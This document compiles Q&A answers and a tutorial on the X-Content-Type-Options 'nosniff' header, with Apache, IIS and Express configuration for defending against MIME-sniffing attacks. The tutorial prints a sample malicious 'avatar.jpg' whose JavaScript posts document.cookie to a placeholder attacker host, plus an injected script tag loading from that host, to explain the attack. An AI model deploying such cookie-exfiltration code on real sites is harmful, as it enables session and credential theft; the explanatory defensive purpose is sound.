Note: nosniff only applies to «script» and «style» types. Also applying nosniff to images turned out to be incompatible with existing web sites.
Specification :
https://fetch.spec.whatwg.org/#x-content-type-options-header
iconoclast
20.5k12 gold badges100 silver badges135 bronze badges
answered Oct 9, 2017 at 11:25
Sahil AggarwalSahil Aggarwal
1,2811 gold badge12 silver badges29 bronze badges
A really simple explanation that I found useful: the nosniff response header is a way to keep a website more secure.
From Security Researcher, Scott Helme, here:
It prevents Google Chrome and Internet Explorer from trying to mime-sniff the content-type of a response away from the one being declared by the server.
answered Jan 26, 2021 at 12:59
stevecstevec
35.7k22 gold badges179 silver badges248 bronze badges
Just to elaborate a bit on the meta-tag thing. I’ve heard a talk, where a statement was made, one should always insert the «no-sniff» meta tag in the html to prevent browser sniffing (just like OP did):
<meta content="text/html; charset=UTF-8; X-Content-Type-Options=nosniff" http-equiv="Content-Type" />
However, this is not a valid method for w3c compliant websites, the validator will raise an error:
Bad value text/html; charset=UTF-8; X-Content-Type-Options=nosniff for attribute content on element meta: The legacy encoding contained ;, which is not a valid character in an encoding name.
And there is no fixing this. To rightly turn off no-sniff, one has to go to the server settings and turn it off there. Because the «no-sniff» option is something from the HTTP header, not from the HTML file which is attached at the HTTP response.
To check if the no-sniff option is disabled, one can enable the developer console, networks tab and then inspect the HTTP response header:
answered Jan 23, 2021 at 15:23
Hans THans T
1231 silver badge11 bronze badges
Prevent content sniffing where no mimetype is sent
Configuration on Ubuntu 20.04 — apache 2.4.41:
Enable the headers module
$ sudo a2enmod headers
Edit file /etc/apache2/conf-available/security.conf and add:
Header always set X-Content-Type-Options: nosniff
Enable Configuration $ sudo a2enconf security.conf
Restart Apache
$ sudo systemctl restart apache2
$ curl -I localhost
HTTP/1.1 200 OK
Date: Fri, 23 Oct 2020 06:12:16 GMT
Server:
X-Content-Type-Options: nosniff
Last-Modified: Thu, 22 Oct 2020 08:06:06 GMT
answered Oct 23, 2020 at 6:35
blessedblessed
7151 gold badge10 silver badges15 bronze badges
1
The X-Content-Type-Options header is an HTTP header that allows developers to specify that their content should not be MIME-sniffed. This header is designed to mitigate MIME-Sniffing attacks. For each page that could contain user controllable content, you must use the HTTP Header X-Content-Type-Options:nosniff.
Add the below header in the web.config file if the application is hosted by Internet Information Services (IIS) 7 onwards.
<system.webServer>
<httpProtocol>
<customHeaders>
<add name=»X-Content-Type-Options» value=»nosniff»/>
</customHeaders>
</httpProtocol>
</system.webServer>
Please refer to the Link to know more about this particular response header.
The script and styleSheet elements will reject responses with incorrect MIME types if the server sends the response header «X-Content-Type-Options: nosniff». This is a security feature that helps prevent attacks based on MIME-type confusion. This is been explained in this article.
Recently, I was working on an issue where I was getting below error while calling AJAX functions.
Refused to execute script from ‘http://localhost:8081/ajax/common.ashx’ because its MIME type (‘text/plain’) is not executable, and strict MIME type checking is enabled.
Sample.aspx:1 Refused to execute script from ‘http://localhost:8081/ajax/Ajax_Sample_.Sample,Ajax(Sample).ashx’ because its MIME type (‘text/plain’) is not executable, and strict MIME type checking is enabled.
I see the below code in my application.
<script type="text/javascript" src="/ajax/common.ashx"></script><script type="text/javascript" src="/ajax/Ajax_Sample_.Sample,Ajax(Sample).ashx"></script>
It means that my application is expecting a javascript response from.ashx file but unfortunately, IIS sends the content-type “text/plain” response as it’s a default HTTP handler.
As it would take some time to change the application code and deploy the code to IIS, I added an outbound URL rewrite rule in IIS as a workaround to fix the issue. Below are the steps followed.
- Download and install the URL rewrite module in IIS using https://www.iis.net/downloads/microsoft/url-rewrite
- Add below outbound rule in web.config file inside <system.webServer> tag
<rewrite>
<outboundRules>
<remove name=»Test» />
<rule name=»Test»>
<match serverVariable=»RESPONSE_CONTENT_TYPE» pattern=»text/plain» />
<conditions>
<add input=»{REQUEST_URI}» pattern=».ashx» />
</conditions>
<action type=»Rewrite» value=»text/javascript» />
</rule>
</outboundRules>
</rewrite>
Refer: https://docs.microsoft.com/en-us/iis/extensions/url-rewrite-module/creating-outbound-rules-for-url-r…
Note: This is just a workaround to resolve the issue but the permanent solution would be to to change the MIME type in your application code as per the requirement.
Hope this helps :smiling_face_with_smiling_eyes:
March 14, 2022
We’ve learned how to block certain cross-site-scripting (XSS) attacks in the previous article. We did that by disallowing our website from running JavaScript from unknown origins. Unfortunately, attackers might be able to upload malicious code into our application disguised as an image, for example. Then, they can take advantage of MIME sniffing to trick a browser into running it.
This article explains what MIME is and why it is crucial to set our Content-Type header correctly. We also dive into MIME sniffing and add a layer of security using the X-Content-Type-Options header.
Multipurpose Internet Mail Extensions (MIME) is a standard derived from how emails work, hence the name. The body of an email can contain attachments such as videos and images. The type of each attachment is described using MIME to interpret it.
A valid MIME type consists of a type and a subtype separated by a slash.
The type describes the data type category, such as the
image.
The subtype specifies the exact sort of data the MIME type describes. For images, it can be
jpeg, or
png, for example.
The MIME type can also have optional parameters. A good example is a
text/html; charset=utf—8 value that describes the character set used.
An example of a special MIME type is
multipart/form—data. If you want to know more about it, check out Node.js TypeScript #6. Sending HTTP requests, understanding multipart/form-data
Content-Type
The MIME types are not only used in emails, though. When a browser requests a resource from a given URL, it does not rely on the file extension when processing it. Instead, the browser expects the server to respond with a Content-Type header. Therefore, it should contain a valid MIME type.
Setting valid MIME types
In API with NestJS #55. Uploading files to the server, we’ve defined an API that we can use to upload and retrieve files. Let’s say an attacker uploads the following file through our API:
avatar.jpg
|
const url = ‘https://malicious-website.com/gather-cookies’; const data = JSON.stringify({ cookie: document.cookie }); fetch(url, { method: ‘POST’, mode: ‘cors’, headers: { ‘Content-Type’: ‘application/json’ }, body: data }) |
The above code aims to send the cookies from the website. If an attacker retrieves he tcookies containing sensitive data, such as authentication tokens, the consequences can be immense. Because of that, we should not store tokens in regular cookies. If you want to know how to design a safe authentication mechanism using HttpOnly cookies, check out API with NestJS #3. Authenticating users with bcrypt, Passport, JWT, and cookies
Also, the same origin policy mechanism could stop the above request from happening. If you want to know more, take a look at Cross-Origin Resource Sharing. Avoiding Access-Control-Allow-Origin CORS error
Since the file is called
avatar.jpg, our API accepts it without complaining. Because the extension is
.jpg, JavaScript assumes the MIME type
image/jpeg . The crucial part happens when the user tries to access the uploaded file.
The file can be available at
https://website.com/api/local-files/5 where 5 is an example of an id our application can assign to the uploaded file. Therefore, let’s look at a part of the code that retrieves the resource.
|
response.set({ ‘Content-Disposition’: `inline; filename=«${file.filename}»`, ‘Content-Type’: file.mimetype }) |
Setting
‘Content-Disposition’: `inline; filename=«${file.filename}»` informs the browser that it can display the file. If the user tries to save it, the browser suggests
file.filename as the filename.
The crucial part above is
‘Content-Type’: file.mimetype. Thanks to doing that, we respond with a valid
Content—Type: image/jpeg.
MIME sniffing
Let’s assume the URL of our application is
https://website.com. Imagine the attacker manages to inject the following HTML into our website successfully:
|
<script src=«https://malicious-website.com/malicious-script.js»></script> |
If we’d set up our Content-Security-Policy header properly, the browser would not execute the above script.
If you want to know more about the content security policy, check out Fighting cross-site-scripting (XSS) with content security policy
In the above case, we would see the following error in the console:
Refused to load the script ‘https://malicious-website.com/malicious-script.js’ because it violates the following Content Security Policy directive: “script-src ‘self’”. Note that ‘script-src-elem’ was not explicitly set, so ‘script-src’ is used as a fallback.
To deal with the above restriction, the attacker might also try injecting the
avatar.jpg file we’ve seen above that contains the malicious code.
|
<script src=«https://website.com/api/local-files/5»></script> |
This time, the URL of the script matches the origin of our website. The crucial thing is that the browser does not care that the script’s filename is
avatar.jpg. On the contrary, it cares about the MIME type. Injecting the above script would result in a different error than before:
Refused to execute script from ‘https://website.com/api/local-files/5’ because its MIME type (‘image/jpeg’) is not executable.
Thankfully, the browser did not execute the malicious script. This is all thanks to the fact that we set up the Content-Type header correctly. Our framework assigns it with the
application/octet—stream MIME type if we don’t do that. The above type describes generic binary data that we don’t know much about.
When the Content-Type header of a resource is missing or very generic, such as
application/octet—stream, or
text/plain, the browser performs MIME sniffing by default.
During the above process, the browser guesses the correct MIME type by looking at the bytes of the resource. Because of that, the browser would interpret
avatar.jpg as JavaScript and execute it.
X-Content-Type-Options
Guessing the MIME type by the file’s content can pose a significant threat to our users if the attackers know how to take advantage of it. Fortunately, we can deal with the above issue using the
X—Content—Type—Options: nosniff header. Furthermore, we can easily add it through middleware if we use Node.js with Express or NestJS.
|
app.use((request, response, next) => { response.set(‘X-Content-Type-Options’, ‘nosniff’); next(); }); |
When the browser fetches
https://website.com/api/local-files/5, it receives
X—Content—Type—Options: nosniff in response. Thanks to that, it does not perform MIME sniffing and throws an error instead.
Refused to execute script from ‘https://website.com/api/local-files/5’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
We can also use the helmet library instead of setting the X-Content-Type-Options header manually. This is because it sets more headers than X-Content-Type-Options and aims to secure our Express-based applications. If you want to know more, check out the following: Increasing security of Express applications with the Helmet middleware.
Summary
In this article, we’ve gone through what MIME type is and why we should make sure that we send correct types through the Content-Type header. If the browser does not have enough information about the file type, it attempts to guess it. The above can lead to running malicious code on our website and have significant consequences. Therefore, we should use the X-Content-Type-Options header to ensure that the browsers do not try to sniff the MIME type. Doing that makes our application more resilient to attacks.
Previous article
Fighting cross-site-scripting (XSS) with content security policy
Next article
The danger of iframe clickjacking and how to deal with it









